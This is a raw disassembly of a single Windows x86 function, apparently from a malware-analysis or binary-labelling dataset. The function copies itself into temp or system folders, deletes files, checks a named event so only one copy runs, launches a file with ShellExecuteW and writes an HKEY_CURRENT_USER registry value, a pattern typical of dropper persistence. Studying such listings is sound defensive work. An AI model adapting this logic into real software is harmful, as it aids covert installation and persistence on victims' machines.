Function at 0x401955
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c4c
call fcn.00415570
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x3d0], ax
xor ebx, ebx
lea eax, [ebp - 0x3ce]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0xdf8], ax
lea eax, [ebp - 0xdf6]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0xbf0], ax
lea eax, [ebp - 0xbee]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
push 0x7e
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x146]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push 0x7e
mov word [ebp - 0xc8], ax
lea eax, [ebp - 0xc6]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push 0x7e
mov word [ebp - 0x1c8], ax
lea eax, [ebp - 0x1c6]
push ebx
push eax
mov dword [ebp - 0x1c3c], ebx
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x7e0], ax
lea eax, [ebp - 0x7de]
push ebx
push eax
mov dword [ebp - 0x1c34], ebx
call fcn.00408cd0
add esp, 0xc
push 7
xor eax, eax
pop ecx
mov word [ebp - 0x44], ax
lea edi, [ebp - 0x42]
rep stosd dword es:[edi], eax
push 0x200
stosw word es:[edi], ax
mov dword [ebp - 0x1c38], ebx
mov dword [ebp - 0x1c4c], ebx
push ebx
lea eax, [ebp - 0x17f8]
push eax
call fcn.00408cd0
add esp, 0xc
push 1
lea edi, [ebp - 0x17f8]
call fcn.00408b07
pop ecx
push ebx
lea edi, [ebp - 0x1c30]
mov dword [ebp - 0x1c44], eax
call fcn.00408b07
pop ecx
mov dword [ebp - 0x1c48], eax
mov edi, 0x104
push edi
lea eax, [ebp - 0xdf8]
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
cmp dword [ebp - 0x1c44], ebx
je 0x401d58
mov ebx, dword [sym.imp.kernel32.dll_GetTempPathW]
lea eax, [ebp - 0x3d0]
push eax
push edi
call ebx
lea eax, [ebp - 0x1670]
push eax
lea eax, [ebp - 0x3d0]
push edi
push eax
call fcn.00408dfa
add esp, 0xc
mov esi, 0x41dd08
push esi
lea eax, [ebp - 0x3d0]
push edi
push eax
call fcn.00408dfa
lea eax, [ebp - 0x3d0]
add esp, 0xc
push eax
call fcn.00409dc5
pop ecx
test eax, eax
jbe 0x401b54
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401b54
lea eax, [ebp - 0x1670]
push eax
lea eax, [ebp - 0x1a08]
push eax
call fcn.00408da4
push esi
lea eax, [ebp - 0x1a08]
push edi
push eax
call fcn.00408dfa
add esp, 0x14
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea eax, [ebp - 0x3d0]
push eax
push edi
call ebx
push 0x41dd24
lea eax, [ebp - 0x3d0]
push edi
push eax
call fcn.00408dfa
lea eax, [ebp - 0x3d0]
add esp, 0xc
push eax
call fcn.00409dc5
pop ecx
test eax, eax
jbe 0x401ba3
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401ba3
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea esi, [ebp - 0x1650]
call fcn.00401809
cmp eax, 1
jne 0x401bba
xor eax, eax
jmp 0x402269
lea eax, [ebp - 0x1650]
push eax
lea eax, [ebp - 0x24]
push 0x10
push eax
call fcn.00409215
add esp, 0xc
lea ebx, [ebp - 0x3d0]
lea edi, [ebp - 0x1650]
call fcn.0040303a
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x5d8], ax
xor esi, esi
lea eax, [ebp - 0x5d6]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x9e8], ax
lea eax, [ebp - 0x9e6]
push esi
push eax
call fcn.00408cd0
add esp, 0xc
lea eax, [ebp - 0x1650]
push eax
lea eax, [ebp - 0x5d8]
push eax
call fcn.00408da4
lea eax, [ebp - 0x1650]
push eax
lea eax, [ebp - 0x9e8]
push eax
call fcn.00408da4
lea eax, [ebp - 0x9e8]
push 0x41dc9c
push eax
call fcn.00408d76
mov edi, dword [sym.imp.kernel32.dll_OpenEventW]
add esp, 0x18
lea eax, [ebp - 0x5d8]
push eax
push esi
mov ebx, 0x20000
push ebx
call edi
cmp eax, esi
je 0x401cc0
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
push eax
call esi
lea eax, [ebp - 0x9e8]
push eax
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.kernel32.dll_CreateEventW]
and dword [ebp - 0x1c34], 0
jmp 0x401cb0
cmp dword [ebp - 0x1c34], 5
jge 0x401cc0
push eax
call esi
inc dword [ebp - 0x1c34]
push 0xc8
call dword [sym.imp.kernel32.dll_Sleep]
lea eax, [ebp - 0x5d8]
push eax
push 0
push ebx
call edi
test eax, eax
jne 0x401c93
push 0x5dc
call dword [sym.imp.kernel32.dll_Sleep]
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea eax, [ebp - 0x1772]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00408da4
lea eax, [ebp - 0x17f4]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00408da4
movzx eax, word [ebp - 0x1774]
mov dword [ebp - 0x1c3c], eax
lea eax, [ebp - 0x1752]
push eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.00408da4
movzx eax, word [ebp - 0x16d2]
mov dword [ebp - 0x1c34], eax
mov eax, dword [ebp - 0x1630]
mov dword [ebp - 0x1c38], eax
lea eax, [ebp - 0x1670]
push eax
lea eax, [ebp - 0x44]
push 0x10
push eax
call fcn.00409215
add esp, 0x24
xor ebx, ebx
mov edi, 0x104
jmp 0x401e0b
cmp dword [0x423040], 3
jne 0x401e0b
push 0x236
lea eax, [ebp - 0x1a30]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
lea esi, [ebp - 0x1a30]
call fcn.00403612
mov dword [ebp - 0x1c4c], eax
cmp eax, ebx
je 0x401e0b
lea eax, [ebp - 0x1922]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00408da4
mov edx, dword [ebp - 0x192a]
lea esi, [ebp - 0xc8]
call fcn.00402db0
movzx eax, word [ebp - 0x1926]
mov edx, dword [ebp - 0x1930]
lea esi, [ebp - 0x1c8]
mov dword [ebp - 0x1c3c], eax
call fcn.00402db0
movzx eax, word [ebp - 0x192c]
mov dword [ebp - 0x1c34], eax
push 4
lea eax, [ebp - 0x1a28]
push eax
lea eax, [ebp - 0x1c38]
push eax
call fcn.00408eb0
add esp, 0x14
lea eax, [ebp - 0x1902]
push eax
lea eax, [ebp - 0x24]
push 0x10
push eax
call fcn.00409215
add esp, 0xc
mov esi, 0x41dce4
cmp dword [ebp - 0x1c48], ebx
je 0x401ee1
lea eax, [ebp - 0x1baa]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00408da4
lea eax, [ebp - 0x1c2c]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00408da4
movzx eax, word [ebp - 0x1bac]
mov dword [ebp - 0x1c3c], eax
lea eax, [ebp - 0x1c8]
push esi
push eax
call fcn.00408da4
movzx eax, word [ebp - 0x1b0a]
add esp, 0x18
cmp dword [0x423040], 3
mov dword [ebp - 0x1c34], eax
mov dword [ebp - 0x1c38], 5
lea eax, [ebp - 0x7e0]
je 0x401e8f
push eax
push edi
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x401eac
push edi
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
push 0x41dc88
lea eax, [ebp - 0x7e0]
push edi
push eax
call fcn.00408dfa
add esp, 0xc
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0xbf0]
push eax
call fcn.00408da4
push 0x41dd3c
lea eax, [ebp - 0xbf0]
push edi
push eax
call fcn.00408dfa
add esp, 0x14
lea eax, [ebp - 0xbf0]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
push 0x200
lea eax, [ebp - 0x17f8]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
push 0x51
pop eax
mov word [ebp - 0x1774], ax
lea eax, [ebp - 0x17f4]
push 0x41dcbc
mov edi, 0x504d534d
push eax
mov dword [ebp - 0x17f8], edi
call fcn.00408da4
mov eax, 0x2b66
mov word [ebp - 0x16d2], ax
lea eax, [ebp - 0x1752]
push esi
push eax
call fcn.00408da4
lea eax, [ebp - 0x1772]
push 0x41dcd8
push eax
call fcn.00408da4
add esp, 0x18
mov dword [ebp - 0x1630], 5
cmp dword [ebp - 0x1c44], ebx
jne 0x401f6b
cmp dword [ebp - 0x1c4c], ebx
jne 0x401f6b
cmp dword [ebp - 0x1c48], ebx
je 0x401fe9
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x1772]
push 0x10
push eax
call fcn.00409215
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x17f4]
push 0x40
push eax
call fcn.00409215
mov ax, word [ebp - 0x1c3c]
mov word [ebp - 0x1774], ax
add esp, 0xc
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x1752]
push 0x40
push eax
call fcn.00409215
mov ax, word [ebp - 0x1c34]
mov word [ebp - 0x16d2], ax
mov eax, dword [ebp - 0x1c38]
add esp, 0xc
mov dword [ebp - 0x1630], eax
cmp eax, ebx
jne 0x401fe9
mov dword [ebp - 0x1630], 5
lea eax, [ebp - 0x1752]
push esi
push eax
call fcn.00408da4
pop ecx
pop ecx
cmp word [ebp - 0x17f4], bx
je 0x402266
cmp word [ebp - 0x1774], bx
jbe 0x402266
mov esi, dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [ebp - 0x17f8], edi
call esi
push eax
call fcn.00408e77
xor eax, eax
mov word [ebp - 0x15f8], ax
mov dword [esp], 0x7fe
lea eax, [ebp - 0x15f6]
push ebx
push eax
call fcn.00408cd0
add esp, 0xc
cmp word [ebp - 0x16d0], bx
jne 0x40207e
lea eax, [ebp - 0x15f8]
push eax
push 6
push 5
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
push 0x10
pop edi
lea eax, [ebp - 0x16d0]
push edi
push eax
call fcn.00409215
add esp, 0xc
jmp 0x402081
push 0x10
pop edi
cmp word [ebp - 0x16b0], bx
jne 0x4020b4
lea eax, [ebp - 0x15f8]
push eax
push 6
push 5
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x16b0]
push edi
push eax
call fcn.00409215
add esp, 0xc
cmp word [ebp - 0x1670], bx
jne 0x4020e7
lea eax, [ebp - 0x15f8]
push eax
push 6
push 5
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x1670]
push edi
push eax
call fcn.00409215
add esp, 0xc
cmp word [ebp - 0x1650], bx
jne 0x40213c
lea eax, [ebp - 0x15f8]
push eax
push 6
push 5
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x1650]
push edi
push eax
call fcn.00409215
lea eax, [ebp - 0x24]
add esp, 0xc
push eax
call fcn.00409dc5
pop ecx
test eax, eax
jbe 0x40213c
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1650]
push edi
push eax
call fcn.00409215
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
call fcn.00409dc5
pop ecx
test eax, eax
je 0x40215e
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1690]
push edi
push eax
call fcn.00409215
add esp, 0xc
cmp word [ebp - 0x1690], bx
jne 0x402191
lea eax, [ebp - 0x15f8]
push eax
push 6
push 5
call fcn.004028ec
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x1690]
push edi
push eax
call fcn.00409215
add esp, 0xc
mov dword [ebp - 0x162c], 0x10001ce
cmp dword [ebp - 0x1630], ebx
jne 0x4021ad
mov dword [ebp - 0x1630], 5
lea eax, [ebp - 0x17f8]
push eax
call fcn.00408b93
pop ecx
test eax, eax
je 0x402266
lea ebx, [ebp - 0x3d0]
lea edi, [ebp - 0x1650]
call fcn.0040303a
call esi
push eax
call fcn.00408e77
pop ecx
push 0x32
push 0x64
pop eax
call fcn.004028be
pop ecx
mov ecx, ebx
push ecx
lea ecx, [ebp - 0xdf8]
push ecx
call fcn.004018a4
pop ecx
pop ecx
push 1
xor esi, esi
push esi
push 0x41dd54
mov eax, ebx
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x1c40]
push eax
push 3
push esi
push 0x41dd60
push 0x80000001
mov dword [ebp - 0x1c40], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402266
mov eax, ebx
push eax
call fcn.00409dc5
pop ecx
lea eax, [eax + eax + 2]
push eax
mov eax, ebx
push eax
push 1
push esi
push 0x41ddcc
push dword [ebp - 0x1c40]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402266
push dword [ebp - 0x1c40]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408cba
leave
ret